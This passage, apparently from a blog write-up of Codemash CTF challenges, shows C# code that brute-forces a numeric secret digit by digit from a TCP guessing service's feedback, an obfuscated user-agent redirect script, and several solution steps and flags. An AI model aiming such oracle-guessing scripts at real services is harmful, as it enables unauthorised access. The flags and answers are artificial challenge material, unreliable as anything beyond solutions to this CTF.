Console.Write(guess + " - ");
s.Write(Encoding.ASCII.GetBytes(guess + "\r\n"), 0, 22);
byte[] result = new byte[3];
while (true)
{
var cnt = s.Read(result, 0, 3);
Console.WriteLine(Encoding.ASCII.GetString(result).Trim());
string number = Encoding.ASCII.GetString(result).Trim().TrimEnd(new[] {'>','<'});
if (int.Parse(number) > knownCount)
{
known += guess[knownCount];
knownCount++;
found = true;
}
if (cnt <= 0) break;
}
if (found) break;
}
}
}
static string[] GetGuesses(string known)
{
var result = new List<string>();
for (int i=0; i<10; i++)
{
var x = known + i.ToString();
x=x.PadRight(20, '5');
result.Add(x);
}
return result.ToArray();
}
static void ReadHeader(Stream s)
{
byte[] result = new byte[1];
while (s.Read(result, 0, 1) >0)
if (result[0] == Encoding.ASCII.GetBytes("\n")[0]) break;
}
Running this code eventually gives us the value 78025928232920712967
. Popping that into a telnet session gives you:
Make an educated guess, dude:
78025928232920712967
Congrats! Here's your flag:
cm18-Glz3-yM2k-h9i9-wntS
Codemash CTF - 2 - Hobo Robo
Hint
Hobo Robo prepared a paper chase for you.
Approach
The link takes you to the C3P0 wikipedia page (or so it seems). Upon further inspection, you notice that the link actually takes you to https://codemash.hacking-lab.com/codemash/bots/bots.html, which immediately redirects you to the C3P0 wikipedia page.
I decied to curl the web page (to prevent the redirect) and saw the following:
<html>
<head>
<title>Bots</title>
<script type="text/javascript">
eval(String.fromCharCode(105, 102, 32, 40, 33, 40, 110, 97, 118, 105, 103, 97, 116, 111, 114, 46, 117, 115, 101, 114, 65, 103, 101, 110, 116, 32, 61, 61, 61, 32, 39, 72, 111, 98, 111, 82, 111, 98, 111, 39, 41, 41, 32, 123, 32, 108, 111, 99, 97, 116, 105, 111, 110, 46, 114, 101, 112, 108, 97, 99, 101, 40, 39, 104, 116, 116, 112, 58, 47, 47, 101, 110, 46, 119, 105, 107, 105, 112, 101, 100, 105, 97, 46, 111, 114, 103, 47, 119, 105, 107, 105, 47, 67, 45, 51, 80, 79, 39, 41, 59, 125))
</script>
</head>
<body style="background: white; border: 20px solid white;">
<div style="widht: 100%; height: 100%; background: url('./robotbg.jpg') no-repeat center center fixed; -webkit-background-size: contain; -moz-background-size: contain; -o-background-size: contain; background-size: contain;"> </div>
</body>
</html>
The obfuscated javascript is what handles the redirection, so that is not important, but the image that on the page is interesting.
A quick google search for some of the words in the image lead you to Robot Interaction Language. Using that page to translate the image leads to the text:
You must make word of addition two and two - This be name of page.
This takes us to https://codemash.hacking-lab.com/codemash/bots/four.html
Curling this page results in
<html>
<head>
<title>Bots</title>
<meta name="description" content="Robots talk in ROILA language: eman egap eht esrever tsum">
<meta name="keywords" content="secret, page, robots, fun, hacky easter, blrt, five, beep">
<script type="text/javascript">
eval(String.fromCharCode(105, 102, 32, 40, 33, 40, 110, 97, 118, 105, 103, 97, 116, 111, 114, 46, 117, 115, 101, 114, 65, 103, 101, 110, 116, 32, 61, 61, 61, 32, 39, 72, 111, 98, 111, 82, 111, 98, 111, 39, 41, 41, 32, 123, 32, 108, 111, 99, 97, 116, 105, 111, 110, 46, 114, 101, 112, 108, 97, 99, 101, 40, 39, 104, 116, 116, 112, 58, 47, 47, 101, 110, 46, 119, 105, 107, 105, 112, 101, 100, 105, 97, 46, 111, 114, 103, 47, 119, 105, 107, 105, 47, 67, 45, 51, 80, 79, 39, 41, 59, 125))
</script>
</head>
<body style="background: white; border: 20px solid white;">
<div style="widht: 100%; height: 100%; background: url('./robotbg2.jpg') no-repeat center center fixed; -webkit-background-size: contain; -moz-background-size: contain; -o-background-size: contain; background-size: contain;"> </div>
</body>
</html>
The image on this page is
The image didn’t provie any clues this time, but looking at the meta tag on that page content="Robots talk in ROILA language: eman egap eht esrever tsum
. Looking at the text it says must reverse the page name
.
Going to https://codemash.hacking-lab.com/codemash/bots/ruof.html results in the following image, which is our flag:
Codemash CTF - 1 - Do you like my Style?
Hint
01 - Do you like my Style?
Every one is talking about styles. Sometimes its about what you wear and sometimes its about what you do.
All I know is that the flag you want definitely has Style.
It also included the following image:
Approach
This CTF is a very obvious hint that wants us to look in the stylesheet for the site to find the flag. I opened up the developer tools in my web browser and browsed through the style.css file. At the bottom, I found the flag.